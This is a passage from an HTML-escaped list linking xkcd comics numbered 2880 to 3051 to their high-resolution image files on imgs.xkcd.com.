&lt;li>2880: &lt;a href="https://imgs.xkcd.com/comics/sheet_bend_2x.png">https://imgs.xkcd.com/comics/sheet_bend_2x.png&lt;/a>&lt;/li>
&lt;li>2881: &lt;a href="https://imgs.xkcd.com/comics/bug_thread_2x.png">https://imgs.xkcd.com/comics/bug_thread_2x.png&lt;/a>&lt;/li>
&lt;li>2882: &lt;a href="https://imgs.xkcd.com/comics/net_rotations_2x.png">https://imgs.xkcd.com/comics/net_rotations_2x.png&lt;/a>&lt;/li>
&lt;li>2883: &lt;a href="https://imgs.xkcd.com/comics/astronaut_guests_2x.png">https://imgs.xkcd.com/comics/astronaut_guests_2x.png&lt;/a>&lt;/li>
&lt;li>2884: &lt;a href="https://imgs.xkcd.com/comics/log_alignment_2x.png">https://imgs.xkcd.com/comics/log_alignment_2x.png&lt;/a>&lt;/li>
&lt;li>2885: &lt;a href="https://imgs.xkcd.com/comics/spelling_2x.png">https://imgs.xkcd.com/comics/spelling_2x.png&lt;/a>&lt;/li>
&lt;li>2886: &lt;a href="https://imgs.xkcd.com/comics/fast_radio_bursts_2x.png">https://imgs.xkcd.com/comics/fast_radio_bursts_2x.png&lt;/a>&lt;/li>
&lt;li>2887: &lt;a href="https://imgs.xkcd.com/comics/minnesota_2x.png">https://imgs.xkcd.com/comics/minnesota_2x.png&lt;/a>&lt;/li>
&lt;li>2888: &lt;a href="https://imgs.xkcd.com/comics/us_survey_foot_2x.png">https://imgs.xkcd.com/comics/us_survey_foot_2x.png&lt;/a>&lt;/li>
&lt;li>2889: &lt;a href="https://imgs.xkcd.com/comics/greenhouse_effect_2x.png">https://imgs.xkcd.com/comics/greenhouse_effect_2x.png&lt;/a>&lt;/li>
&lt;li>2890: &lt;a href="https://imgs.xkcd.com/comics/relationship_advice_2x.png">https://imgs.xkcd.com/comics/relationship_advice_2x.png&lt;/a>&lt;/li>
&lt;li>2891: &lt;a href="https://imgs.xkcd.com/comics/log_cabin_2x.png">https://imgs.xkcd.com/comics/log_cabin_2x.png&lt;/a>&lt;/li>
&lt;li>2892: &lt;a href="https://imgs.xkcd.com/comics/banana_prices_2x.png">https://imgs.xkcd.com/comics/banana_prices_2x.png&lt;/a>&lt;/li>
&lt;li>2893: &lt;a href="https://imgs.xkcd.com/comics/sphere_tastiness_2x.png">https://imgs.xkcd.com/comics/sphere_tastiness_2x.png&lt;/a>&lt;/li>
&lt;li>2894: &lt;a href="https://imgs.xkcd.com/comics/research_account_2x.png">https://imgs.xkcd.com/comics/research_account_2x.png&lt;/a>&lt;/li>
&lt;li>2895: &lt;a href="https://imgs.xkcd.com/comics/treasure_chests_2x.png">https://imgs.xkcd.com/comics/treasure_chests_2x.png&lt;/a>&lt;/li>
&lt;li>2896: &lt;a href="https://imgs.xkcd.com/comics/crossword_constructors_2x.png">https://imgs.xkcd.com/comics/crossword_constructors_2x.png&lt;/a>&lt;/li>
&lt;li>2897: &lt;a href="https://imgs.xkcd.com/comics/light_leap_years_2x.png">https://imgs.xkcd.com/comics/light_leap_years_2x.png&lt;/a>&lt;/li>
&lt;li>2898: &lt;a href="https://imgs.xkcd.com/comics/orbital_argument_2x.png">https://imgs.xkcd.com/comics/orbital_argument_2x.png&lt;/a>&lt;/li>
&lt;li>2899: &lt;a href="https://imgs.xkcd.com/comics/goodharts_law_2x.png">https://imgs.xkcd.com/comics/goodharts_law_2x.png&lt;/a>&lt;/li>
&lt;li>2900: &lt;a href="https://imgs.xkcd.com/comics/call_my_cell_2x.png">https://imgs.xkcd.com/comics/call_my_cell_2x.png&lt;/a>&lt;/li>
&lt;li>2901: &lt;a href="https://imgs.xkcd.com/comics/geographic_qualifiers_2x.png">https://imgs.xkcd.com/comics/geographic_qualifiers_2x.png&lt;/a>&lt;/li>
&lt;li>2902: &lt;a href="https://imgs.xkcd.com/comics/ice_core_2x.png">https://imgs.xkcd.com/comics/ice_core_2x.png&lt;/a>&lt;/li>
&lt;li>2903: &lt;a href="https://imgs.xkcd.com/comics/earth_venus_venn_diagram_2x.png">https://imgs.xkcd.com/comics/earth_venus_venn_diagram_2x.png&lt;/a>&lt;/li>
&lt;li>2904: &lt;a href="https://imgs.xkcd.com/comics/physics_vs_magic_2x.png">https://imgs.xkcd.com/comics/physics_vs_magic_2x.png&lt;/a>&lt;/li>
&lt;li>2905: &lt;a href="https://imgs.xkcd.com/comics/supergroup_2x.png">https://imgs.xkcd.com/comics/supergroup_2x.png&lt;/a>&lt;/li>
&lt;li>2906: &lt;a href="https://imgs.xkcd.com/comics/earth_2x.png">https://imgs.xkcd.com/comics/earth_2x.png&lt;/a>&lt;/li>
&lt;li>2907: &lt;a href="https://imgs.xkcd.com/comics/schwa_2x.png">https://imgs.xkcd.com/comics/schwa_2x.png&lt;/a>&lt;/li>
&lt;li>2908: &lt;a href="https://imgs.xkcd.com/comics/moon_armor_index_2x.png">https://imgs.xkcd.com/comics/moon_armor_index_2x.png&lt;/a>&lt;/li>
&lt;li>2909: &lt;a href="https://imgs.xkcd.com/comics/moon_landing_mission_profiles_2x.png">https://imgs.xkcd.com/comics/moon_landing_mission_profiles_2x.png&lt;/a>&lt;/li>
&lt;li>2910: &lt;a href="https://imgs.xkcd.com/comics/the_wreck_of_the_edmund_fitzgerald_2x.png">https://imgs.xkcd.com/comics/the_wreck_of_the_edmund_fitzgerald_2x.png&lt;/a>&lt;/li>
&lt;li>2911: &lt;a href="https://imgs.xkcd.com/comics/greenland_size_2x.png">https://imgs.xkcd.com/comics/greenland_size_2x.png&lt;/a>&lt;/li>
&lt;li>2912: &lt;a href="https://imgs.xkcd.com/comics/cursive_letters_2x.png">https://imgs.xkcd.com/comics/cursive_letters_2x.png&lt;/a>&lt;/li>
&lt;li>2913: &lt;a href="https://imgs.xkcd.com/comics/periodic_table_regions_2x.png">https://imgs.xkcd.com/comics/periodic_table_regions_2x.png&lt;/a>&lt;/li>
&lt;li>2914: &lt;a href="https://imgs.xkcd.com/comics/eclipse_coolness_2x.png">https://imgs.xkcd.com/comics/eclipse_coolness_2x.png&lt;/a>&lt;/li>
&lt;li>2915: &lt;a href="https://imgs.xkcd.com/comics/eclipse_clouds_2x.png">https://imgs.xkcd.com/comics/eclipse_clouds_2x.png&lt;/a>&lt;/li>
&lt;li>2916: &lt;a href="https://imgs.xkcd.com/comics/machine_2x.png">https://imgs.xkcd.com/comics/machine_2x.png&lt;/a>&lt;/li>
&lt;li>2917: &lt;a href="https://imgs.xkcd.com/comics/types_of_eclipse_photo_2x.png">https://imgs.xkcd.com/comics/types_of_eclipse_photo_2x.png&lt;/a>&lt;/li>
&lt;li>2918: &lt;a href="https://imgs.xkcd.com/comics/tick_marks_2x.png">https://imgs.xkcd.com/comics/tick_marks_2x.png&lt;/a>&lt;/li>
&lt;li>2919: &lt;a href="https://imgs.xkcd.com/comics/sitting_in_a_tree_2x.png">https://imgs.xkcd.com/comics/sitting_in_a_tree_2x.png&lt;/a>&lt;/li>
&lt;li>2920: &lt;a href="https://imgs.xkcd.com/comics/survey_marker_2x.png">https://imgs.xkcd.com/comics/survey_marker_2x.png&lt;/a>&lt;/li>
&lt;li>2921: &lt;a href="https://imgs.xkcd.com/comics/eclipse_path_maps_2x.png">https://imgs.xkcd.com/comics/eclipse_path_maps_2x.png&lt;/a>&lt;/li>
&lt;li>2922: &lt;a href="https://imgs.xkcd.com/comics/pub_trivia_2x.png">https://imgs.xkcd.com/comics/pub_trivia_2x.png&lt;/a>&lt;/li>
&lt;li>2923: &lt;a href="https://imgs.xkcd.com/comics/scary_triangles_2x.png">https://imgs.xkcd.com/comics/scary_triangles_2x.png&lt;/a>&lt;/li>
&lt;li>2924: &lt;a href="https://imgs.xkcd.com/comics/pendulum_types_2x.png">https://imgs.xkcd.com/comics/pendulum_types_2x.png&lt;/a>&lt;/li>
&lt;li>2925: &lt;a href="https://imgs.xkcd.com/comics/earth_formation_site_2x.png">https://imgs.xkcd.com/comics/earth_formation_site_2x.png&lt;/a>&lt;/li>
&lt;li>2926: &lt;a href="https://imgs.xkcd.com/comics/doppler_effect_2x.png">https://imgs.xkcd.com/comics/doppler_effect_2x.png&lt;/a>&lt;/li>
&lt;li>2927: &lt;a href="https://imgs.xkcd.com/comics/alphabetical_cartogram_2x.png">https://imgs.xkcd.com/comics/alphabetical_cartogram_2x.png&lt;/a>&lt;/li>
&lt;li>2928: &lt;a href="https://imgs.xkcd.com/comics/software_testing_day_2x.png">https://imgs.xkcd.com/comics/software_testing_day_2x.png&lt;/a>&lt;/li>
&lt;li>2929: &lt;a href="https://imgs.xkcd.com/comics/good_and_bad_ideas_2x.png">https://imgs.xkcd.com/comics/good_and_bad_ideas_2x.png&lt;/a>&lt;/li>
&lt;li>2930: &lt;a href="https://imgs.xkcd.com/comics/google_solar_cycle_2x.png">https://imgs.xkcd.com/comics/google_solar_cycle_2x.png&lt;/a>&lt;/li>
&lt;li>2931: &lt;a href="https://imgs.xkcd.com/comics/chasing_2x.png">https://imgs.xkcd.com/comics/chasing_2x.png&lt;/a>&lt;/li>
&lt;li>2932: &lt;a href="https://imgs.xkcd.com/comics/driving_psa_2x.png">https://imgs.xkcd.com/comics/driving_psa_2x.png&lt;/a>&lt;/li>
&lt;li>2933: &lt;a href="https://imgs.xkcd.com/comics/elementary_physics_paths_2x.png">https://imgs.xkcd.com/comics/elementary_physics_paths_2x.png&lt;/a>&lt;/li>
&lt;li>2934: &lt;a href="https://imgs.xkcd.com/comics/bloom_filter_2x.png">https://imgs.xkcd.com/comics/bloom_filter_2x.png&lt;/a>&lt;/li>
&lt;li>2935: &lt;a href="https://imgs.xkcd.com/comics/ocean_loop_2x.png">https://imgs.xkcd.com/comics/ocean_loop_2x.png&lt;/a>&lt;/li>
&lt;li>2936: &lt;a href="https://imgs.xkcd.com/comics/exponential_growth_2x.png">https://imgs.xkcd.com/comics/exponential_growth_2x.png&lt;/a>&lt;/li>
&lt;li>2937: &lt;a href="https://imgs.xkcd.com/comics/room_code_2x.png">https://imgs.xkcd.com/comics/room_code_2x.png&lt;/a>&lt;/li>
&lt;li>2938: &lt;a href="https://imgs.xkcd.com/comics/local_group_2x.png">https://imgs.xkcd.com/comics/local_group_2x.png&lt;/a>&lt;/li>
&lt;li>2939: &lt;a href="https://imgs.xkcd.com/comics/complexity_analysis_2x.png">https://imgs.xkcd.com/comics/complexity_analysis_2x.png&lt;/a>&lt;/li>
&lt;li>2940: &lt;a href="https://imgs.xkcd.com/comics/modes_of_transportation_2x.png">https://imgs.xkcd.com/comics/modes_of_transportation_2x.png&lt;/a>&lt;/li>
&lt;li>2941: &lt;a href="https://imgs.xkcd.com/comics/cell_organelles_2x.png">https://imgs.xkcd.com/comics/cell_organelles_2x.png&lt;/a>&lt;/li>
&lt;li>2942: &lt;a href="https://imgs.xkcd.com/comics/fluid_speech_2x.png">https://imgs.xkcd.com/comics/fluid_speech_2x.png&lt;/a>&lt;/li>
&lt;li>2943: &lt;a href="https://imgs.xkcd.com/comics/unsolved_chemistry_problems_2x.png">https://imgs.xkcd.com/comics/unsolved_chemistry_problems_2x.png&lt;/a>&lt;/li>
&lt;li>2944: &lt;a href="https://imgs.xkcd.com/comics/magnet_fishing_2x.png">https://imgs.xkcd.com/comics/magnet_fishing_2x.png&lt;/a>&lt;/li>
&lt;li>2945: &lt;a href="https://imgs.xkcd.com/comics/broken_model_2x.png">https://imgs.xkcd.com/comics/broken_model_2x.png&lt;/a>&lt;/li>
&lt;li>2946: &lt;a href="https://imgs.xkcd.com/comics/1_2_kilofives_2x.png">https://imgs.xkcd.com/comics/1_2_kilofives_2x.png&lt;/a>&lt;/li>
&lt;li>2947: &lt;a href="https://imgs.xkcd.com/comics/pascals_wager_triangle_2x.png">https://imgs.xkcd.com/comics/pascals_wager_triangle_2x.png&lt;/a>&lt;/li>
&lt;li>2948: &lt;a href="https://imgs.xkcd.com/comics/electric_vs_gas_2x.png">https://imgs.xkcd.com/comics/electric_vs_gas_2x.png&lt;/a>&lt;/li>
&lt;li>2949: &lt;a href="https://imgs.xkcd.com/comics/network_configuration_2x.png">https://imgs.xkcd.com/comics/network_configuration_2x.png&lt;/a>&lt;/li>
&lt;li>2950: &lt;a href="https://imgs.xkcd.com/comics/situation_2x.png">https://imgs.xkcd.com/comics/situation_2x.png&lt;/a>&lt;/li>
&lt;li>2951: &lt;a href="https://imgs.xkcd.com/comics/bad_map_projection_exterior_kansas_2x.png">https://imgs.xkcd.com/comics/bad_map_projection_exterior_kansas_2x.png&lt;/a>&lt;/li>
&lt;li>2952: &lt;a href="https://imgs.xkcd.com/comics/routine_maintenance_2x.png">https://imgs.xkcd.com/comics/routine_maintenance_2x.png&lt;/a>&lt;/li>
&lt;li>2953: &lt;a href="https://imgs.xkcd.com/comics/alien_theories_2x.png">https://imgs.xkcd.com/comics/alien_theories_2x.png&lt;/a>&lt;/li>
&lt;li>2954: &lt;a href="https://imgs.xkcd.com/comics/bracket_symbols_2x.png">https://imgs.xkcd.com/comics/bracket_symbols_2x.png&lt;/a>&lt;/li>
&lt;li>2955: &lt;a href="https://imgs.xkcd.com/comics/pole_vault_2x.png">https://imgs.xkcd.com/comics/pole_vault_2x.png&lt;/a>&lt;/li>
&lt;li>2956: &lt;a href="https://imgs.xkcd.com/comics/number_line_branch_2x.png">https://imgs.xkcd.com/comics/number_line_branch_2x.png&lt;/a>&lt;/li>
&lt;li>2957: &lt;a href="https://imgs.xkcd.com/comics/a_crossword_puzzle_2x.png">https://imgs.xkcd.com/comics/a_crossword_puzzle_2x.png&lt;/a>&lt;/li>
&lt;li>2958: &lt;a href="https://imgs.xkcd.com/comics/hatchery_2x.png">https://imgs.xkcd.com/comics/hatchery_2x.png&lt;/a>&lt;/li>
&lt;li>2959: &lt;a href="https://imgs.xkcd.com/comics/beam_of_light_2x.png">https://imgs.xkcd.com/comics/beam_of_light_2x.png&lt;/a>&lt;/li>
&lt;li>2960: &lt;a href="https://imgs.xkcd.com/comics/organ_meanings_2x.png">https://imgs.xkcd.com/comics/organ_meanings_2x.png&lt;/a>&lt;/li>
&lt;li>2961: &lt;a href="https://imgs.xkcd.com/comics/crowdstrike_2x.png">https://imgs.xkcd.com/comics/crowdstrike_2x.png&lt;/a>&lt;/li>
&lt;li>2962: &lt;a href="https://imgs.xkcd.com/comics/president_venn_diagram_2x.png">https://imgs.xkcd.com/comics/president_venn_diagram_2x.png&lt;/a>&lt;/li>
&lt;li>2963: &lt;a href="https://imgs.xkcd.com/comics/house_inputs_and_outputs_2x.png">https://imgs.xkcd.com/comics/house_inputs_and_outputs_2x.png&lt;/a>&lt;/li>
&lt;li>2964: &lt;a href="https://imgs.xkcd.com/comics/olympic_sports_2x.png">https://imgs.xkcd.com/comics/olympic_sports_2x.png&lt;/a>&lt;/li>
&lt;li>2965: &lt;a href="https://imgs.xkcd.com/comics/chili_tornado_quake_2x.png">https://imgs.xkcd.com/comics/chili_tornado_quake_2x.png&lt;/a>&lt;/li>
&lt;li>2966: &lt;a href="https://imgs.xkcd.com/comics/exam_numbers_2x.png">https://imgs.xkcd.com/comics/exam_numbers_2x.png&lt;/a>&lt;/li>
&lt;li>2967: &lt;a href="https://imgs.xkcd.com/comics/matter_2x.png">https://imgs.xkcd.com/comics/matter_2x.png&lt;/a>&lt;/li>
&lt;li>2968: &lt;a href="https://imgs.xkcd.com/comics/university_age_2x.png">https://imgs.xkcd.com/comics/university_age_2x.png&lt;/a>&lt;/li>
&lt;li>2969: &lt;a href="https://imgs.xkcd.com/comics/vice_president_first_names_2x.png">https://imgs.xkcd.com/comics/vice_president_first_names_2x.png&lt;/a>&lt;/li>
&lt;li>2970: &lt;a href="https://imgs.xkcd.com/comics/meteor_shower_psa_2x.png">https://imgs.xkcd.com/comics/meteor_shower_psa_2x.png&lt;/a>&lt;/li>
&lt;li>2971: &lt;a href="https://imgs.xkcd.com/comics/celestial_event_2x.png">https://imgs.xkcd.com/comics/celestial_event_2x.png&lt;/a>&lt;/li>
&lt;li>2972: &lt;a href="https://imgs.xkcd.com/comics/helium_synthesis_2x.png">https://imgs.xkcd.com/comics/helium_synthesis_2x.png&lt;/a>&lt;/li>
&lt;li>2973: &lt;a href="https://imgs.xkcd.com/comics/ferris_wheels_2x.png">https://imgs.xkcd.com/comics/ferris_wheels_2x.png&lt;/a>&lt;/li>
&lt;li>2974: &lt;a href="https://imgs.xkcd.com/comics/storage_tanks_2x.png">https://imgs.xkcd.com/comics/storage_tanks_2x.png&lt;/a>&lt;/li>
&lt;li>2975: &lt;a href="https://imgs.xkcd.com/comics/classical_periodic_table_2x.png">https://imgs.xkcd.com/comics/classical_periodic_table_2x.png&lt;/a>&lt;/li>
&lt;li>2976: &lt;a href="https://imgs.xkcd.com/comics/time_traveler_causes_of_death_2x.png">https://imgs.xkcd.com/comics/time_traveler_causes_of_death_2x.png&lt;/a>&lt;/li>
&lt;li>2977: &lt;a href="https://imgs.xkcd.com/comics/three_kinds_of_research_2x.png">https://imgs.xkcd.com/comics/three_kinds_of_research_2x.png&lt;/a>&lt;/li>
&lt;li>2978: &lt;a href="https://imgs.xkcd.com/comics/stranded_2x.png">https://imgs.xkcd.com/comics/stranded_2x.png&lt;/a>&lt;/li>
&lt;li>2979: &lt;a href="https://imgs.xkcd.com/comics/sky_alarm_2x.png">https://imgs.xkcd.com/comics/sky_alarm_2x.png&lt;/a>&lt;/li>
&lt;li>2980: &lt;a href="https://imgs.xkcd.com/comics/lava_lakes_2x.png">https://imgs.xkcd.com/comics/lava_lakes_2x.png&lt;/a>&lt;/li>
&lt;li>2981: &lt;a href="https://imgs.xkcd.com/comics/slingshots_2x.png">https://imgs.xkcd.com/comics/slingshots_2x.png&lt;/a>&lt;/li>
&lt;li>2982: &lt;a href="https://imgs.xkcd.com/comics/water_filtration_2x.png">https://imgs.xkcd.com/comics/water_filtration_2x.png&lt;/a>&lt;/li>
&lt;li>2983: &lt;a href="https://imgs.xkcd.com/comics/monocaster_2x.png">https://imgs.xkcd.com/comics/monocaster_2x.png&lt;/a>&lt;/li>
&lt;li>2984: &lt;a href="https://imgs.xkcd.com/comics/asteroid_news_2x.png">https://imgs.xkcd.com/comics/asteroid_news_2x.png&lt;/a>&lt;/li>
&lt;li>2985: &lt;a href="https://imgs.xkcd.com/comics/craters_2x.png">https://imgs.xkcd.com/comics/craters_2x.png&lt;/a>&lt;/li>
&lt;li>2986: &lt;a href="https://imgs.xkcd.com/comics/every_scientific_field_2x.png">https://imgs.xkcd.com/comics/every_scientific_field_2x.png&lt;/a>&lt;/li>
&lt;li>2987: &lt;a href="https://imgs.xkcd.com/comics/tectonic_surfing_2x.png">https://imgs.xkcd.com/comics/tectonic_surfing_2x.png&lt;/a>&lt;/li>
&lt;li>2988: &lt;a href="https://imgs.xkcd.com/comics/maslows_pyramid_2x.png">https://imgs.xkcd.com/comics/maslows_pyramid_2x.png&lt;/a>&lt;/li>
&lt;li>2989: &lt;a href="https://imgs.xkcd.com/comics/physics_lab_thermostat_2x.png">https://imgs.xkcd.com/comics/physics_lab_thermostat_2x.png&lt;/a>&lt;/li>
&lt;li>2990: &lt;a href="https://imgs.xkcd.com/comics/late_cenozoic_2x.png">https://imgs.xkcd.com/comics/late_cenozoic_2x.png&lt;/a>&lt;/li>
&lt;li>2991: &lt;a href="https://imgs.xkcd.com/comics/beamsplitters_2x.png">https://imgs.xkcd.com/comics/beamsplitters_2x.png&lt;/a>&lt;/li>
&lt;li>2992: &lt;a href="https://imgs.xkcd.com/comics/uk_coal_2x.png">https://imgs.xkcd.com/comics/uk_coal_2x.png&lt;/a>&lt;/li>
&lt;li>2993: &lt;a href="https://imgs.xkcd.com/comics/ingredients_2x.png">https://imgs.xkcd.com/comics/ingredients_2x.png&lt;/a>&lt;/li>
&lt;li>2994: &lt;a href="https://imgs.xkcd.com/comics/numenor_margaritaville_2x.png">https://imgs.xkcd.com/comics/numenor_margaritaville_2x.png&lt;/a>&lt;/li>
&lt;li>2995: &lt;a href="https://imgs.xkcd.com/comics/university_commas_2x.png">https://imgs.xkcd.com/comics/university_commas_2x.png&lt;/a>&lt;/li>
&lt;li>2996: &lt;a href="https://imgs.xkcd.com/comics/cidabm_2x.png">https://imgs.xkcd.com/comics/cidabm_2x.png&lt;/a>&lt;/li>
&lt;li>2997: &lt;a href="https://imgs.xkcd.com/comics/solar_protons_2x.png">https://imgs.xkcd.com/comics/solar_protons_2x.png&lt;/a>&lt;/li>
&lt;li>2998: &lt;a href="https://imgs.xkcd.com/comics/ravioli_shaped_objects_2x.png">https://imgs.xkcd.com/comics/ravioli_shaped_objects_2x.png&lt;/a>&lt;/li>
&lt;li>2999: &lt;a href="https://imgs.xkcd.com/comics/bad_map_projection_the_united_stralia_2x.png">https://imgs.xkcd.com/comics/bad_map_projection_the_united_stralia_2x.png&lt;/a>&lt;/li>
&lt;li>3000: &lt;a href="https://imgs.xkcd.com/comics/experimental_astrophysics_2x.png">https://imgs.xkcd.com/comics/experimental_astrophysics_2x.png&lt;/a>&lt;/li>
&lt;li>3001: &lt;a href="https://imgs.xkcd.com/comics/temperature_scales_2x.png">https://imgs.xkcd.com/comics/temperature_scales_2x.png&lt;/a>&lt;/li>
&lt;li>3002: &lt;a href="https://imgs.xkcd.com/comics/rnaworld_2x.png">https://imgs.xkcd.com/comics/rnaworld_2x.png&lt;/a>&lt;/li>
&lt;li>3003: &lt;a href="https://imgs.xkcd.com/comics/sandwich_helix_2x.png">https://imgs.xkcd.com/comics/sandwich_helix_2x.png&lt;/a>&lt;/li>
&lt;li>3004: &lt;a href="https://imgs.xkcd.com/comics/wells_2x.png">https://imgs.xkcd.com/comics/wells_2x.png&lt;/a>&lt;/li>
&lt;li>3005: &lt;a href="https://imgs.xkcd.com/comics/disposal_2x.png">https://imgs.xkcd.com/comics/disposal_2x.png&lt;/a>&lt;/li>
&lt;li>3006: &lt;a href="https://imgs.xkcd.com/comics/demons_2x.png">https://imgs.xkcd.com/comics/demons_2x.png&lt;/a>&lt;/li>
&lt;li>3007: &lt;a href="https://imgs.xkcd.com/comics/probabilistic_uncertainty_2x.png">https://imgs.xkcd.com/comics/probabilistic_uncertainty_2x.png&lt;/a>&lt;/li>
&lt;li>3008: &lt;a href="https://imgs.xkcd.com/comics/proterozoic_rocks_2x.png">https://imgs.xkcd.com/comics/proterozoic_rocks_2x.png&lt;/a>&lt;/li>
&lt;li>3009: &lt;a href="https://imgs.xkcd.com/comics/number_shortage_2x.png">https://imgs.xkcd.com/comics/number_shortage_2x.png&lt;/a>&lt;/li>
&lt;li>3010: &lt;a href="https://imgs.xkcd.com/comics/geometriphylogenetics_2x.png">https://imgs.xkcd.com/comics/geometriphylogenetics_2x.png&lt;/a>&lt;/li>
&lt;li>3011: &lt;a href="https://imgs.xkcd.com/comics/europa_clipper_2x.png">https://imgs.xkcd.com/comics/europa_clipper_2x.png&lt;/a>&lt;/li>
&lt;li>3012: &lt;a href="https://imgs.xkcd.com/comics/the_future_of_orion_2x.png">https://imgs.xkcd.com/comics/the_future_of_orion_2x.png&lt;/a>&lt;/li>
&lt;li>3013: &lt;a href="https://imgs.xkcd.com/comics/kedging_cannon_2x.png">https://imgs.xkcd.com/comics/kedging_cannon_2x.png&lt;/a>&lt;/li>
&lt;li>3014: &lt;a href="https://imgs.xkcd.com/comics/arizona_chess_2x.png">https://imgs.xkcd.com/comics/arizona_chess_2x.png&lt;/a>&lt;/li>
&lt;li>3015: &lt;a href="https://imgs.xkcd.com/comics/dnd_combinatorics_2x.png">https://imgs.xkcd.com/comics/dnd_combinatorics_2x.png&lt;/a>&lt;/li>
&lt;li>3016: &lt;a href="https://imgs.xkcd.com/comics/cold_air_2x.png">https://imgs.xkcd.com/comics/cold_air_2x.png&lt;/a>&lt;/li>
&lt;li>3017: &lt;a href="https://imgs.xkcd.com/comics/neutrino_modem_2x.png">https://imgs.xkcd.com/comics/neutrino_modem_2x.png&lt;/a>&lt;/li>
&lt;li>3018: &lt;a href="https://imgs.xkcd.com/comics/second_stage_2x.png">https://imgs.xkcd.com/comics/second_stage_2x.png&lt;/a>&lt;/li>
&lt;li>3019: &lt;a href="https://imgs.xkcd.com/comics/advent_calendar_advent_calendar_2x.png">https://imgs.xkcd.com/comics/advent_calendar_advent_calendar_2x.png&lt;/a>&lt;/li>
&lt;li>3020: &lt;a href="https://imgs.xkcd.com/comics/infinite_armada_chess_2x.png">https://imgs.xkcd.com/comics/infinite_armada_chess_2x.png&lt;/a>&lt;/li>
&lt;li>3021: &lt;a href="https://imgs.xkcd.com/comics/seismologists_2x.png">https://imgs.xkcd.com/comics/seismologists_2x.png&lt;/a>&lt;/li>
&lt;li>3022: &lt;a href="https://imgs.xkcd.com/comics/making_tea_2x.png">https://imgs.xkcd.com/comics/making_tea_2x.png&lt;/a>&lt;/li>
&lt;li>3023: &lt;a href="https://imgs.xkcd.com/comics/the_maritime_approximation_2x.png">https://imgs.xkcd.com/comics/the_maritime_approximation_2x.png&lt;/a>&lt;/li>
&lt;li>3024: &lt;a href="https://imgs.xkcd.com/comics/metar_2x.png">https://imgs.xkcd.com/comics/metar_2x.png&lt;/a>&lt;/li>
&lt;li>3025: &lt;a href="https://imgs.xkcd.com/comics/phase_change_2x.png">https://imgs.xkcd.com/comics/phase_change_2x.png&lt;/a>&lt;/li>
&lt;li>3026: &lt;a href="https://imgs.xkcd.com/comics/linear_sort_2x.png">https://imgs.xkcd.com/comics/linear_sort_2x.png&lt;/a>&lt;/li>
&lt;li>3027: &lt;a href="https://imgs.xkcd.com/comics/exclusion_principle_2x.png">https://imgs.xkcd.com/comics/exclusion_principle_2x.png&lt;/a>&lt;/li>
&lt;li>3028: &lt;a href="https://imgs.xkcd.com/comics/dnd_roll_2x.png">https://imgs.xkcd.com/comics/dnd_roll_2x.png&lt;/a>&lt;/li>
&lt;li>3029: &lt;a href="https://imgs.xkcd.com/comics/sun_avoidance_2x.png">https://imgs.xkcd.com/comics/sun_avoidance_2x.png&lt;/a>&lt;/li>
&lt;li>3030: &lt;a href="https://imgs.xkcd.com/comics/lasering_incidents_2x.png">https://imgs.xkcd.com/comics/lasering_incidents_2x.png&lt;/a>&lt;/li>
&lt;li>3031: &lt;a href="https://imgs.xkcd.com/comics/time_capsule_instructions_2x.png">https://imgs.xkcd.com/comics/time_capsule_instructions_2x.png&lt;/a>&lt;/li>
&lt;li>3032: &lt;a href="https://imgs.xkcd.com/comics/skew_t_log_p_2x.png">https://imgs.xkcd.com/comics/skew_t_log_p_2x.png&lt;/a>&lt;/li>
&lt;li>3033: &lt;a href="https://imgs.xkcd.com/comics/origami_black_hole_2x.png">https://imgs.xkcd.com/comics/origami_black_hole_2x.png&lt;/a>&lt;/li>
&lt;li>3034: &lt;a href="https://imgs.xkcd.com/comics/features_of_adulthood_2x.png">https://imgs.xkcd.com/comics/features_of_adulthood_2x.png&lt;/a>&lt;/li>
&lt;li>3035: &lt;a href="https://imgs.xkcd.com/comics/trimix_2x.png">https://imgs.xkcd.com/comics/trimix_2x.png&lt;/a>&lt;/li>
&lt;li>3036: &lt;a href="https://imgs.xkcd.com/comics/chess_zoo_2x.png">https://imgs.xkcd.com/comics/chess_zoo_2x.png&lt;/a>&lt;/li>
&lt;li>3037: &lt;a href="https://imgs.xkcd.com/comics/radon_2x.png">https://imgs.xkcd.com/comics/radon_2x.png&lt;/a>&lt;/li>
&lt;li>3038: &lt;a href="https://imgs.xkcd.com/comics/uncanceled_units_2x.png">https://imgs.xkcd.com/comics/uncanceled_units_2x.png&lt;/a>&lt;/li>
&lt;li>3039: &lt;a href="https://imgs.xkcd.com/comics/human_altitude_2x.png">https://imgs.xkcd.com/comics/human_altitude_2x.png&lt;/a>&lt;/li>
&lt;li>3040: &lt;a href="https://imgs.xkcd.com/comics/chemical_formulas_2x.png">https://imgs.xkcd.com/comics/chemical_formulas_2x.png&lt;/a>&lt;/li>
&lt;li>3041: &lt;a href="https://imgs.xkcd.com/comics/unit_circle_2x.png">https://imgs.xkcd.com/comics/unit_circle_2x.png&lt;/a>&lt;/li>
&lt;li>3042: &lt;a href="https://imgs.xkcd.com/comics/t_rex_evolution_2x.png">https://imgs.xkcd.com/comics/t_rex_evolution_2x.png&lt;/a>&lt;/li>
&lt;li>3043: &lt;a href="https://imgs.xkcd.com/comics/muons_2x.png">https://imgs.xkcd.com/comics/muons_2x.png&lt;/a>&lt;/li>
&lt;li>3044: &lt;a href="https://imgs.xkcd.com/comics/humidifier_review_2x.png">https://imgs.xkcd.com/comics/humidifier_review_2x.png&lt;/a>&lt;/li>
&lt;li>3045: &lt;a href="https://imgs.xkcd.com/comics/alphamove_2x.png">https://imgs.xkcd.com/comics/alphamove_2x.png&lt;/a>&lt;/li>
&lt;li>3046: &lt;a href="https://imgs.xkcd.com/comics/stromatolites_2x.png">https://imgs.xkcd.com/comics/stromatolites_2x.png&lt;/a>&lt;/li>
&lt;li>3047: &lt;a href="https://imgs.xkcd.com/comics/rotary_tool_2x.png">https://imgs.xkcd.com/comics/rotary_tool_2x.png&lt;/a>&lt;/li>
&lt;li>3048: &lt;a href="https://imgs.xkcd.com/comics/suspension_bridge_2x.png">https://imgs.xkcd.com/comics/suspension_bridge_2x.png&lt;/a>&lt;/li>
&lt;li>3049: &lt;a href="https://imgs.xkcd.com/comics/incoming_asteroid_2x.png">https://imgs.xkcd.com/comics/incoming_asteroid_2x.png&lt;/a>&lt;/li>
&lt;li>3050: &lt;a href="https://imgs.xkcd.com/comics/atom_2x.png">https://imgs.xkcd.com/comics/atom_2x.png&lt;/a>&lt;/li>
&lt;li>3051: &lt;a href="https://imgs.xkcd.com/comics/hardwood_2x.png">https://imgs.xkcd.com/comics/hardwood_2x.png&lt;/a>&lt;/li>
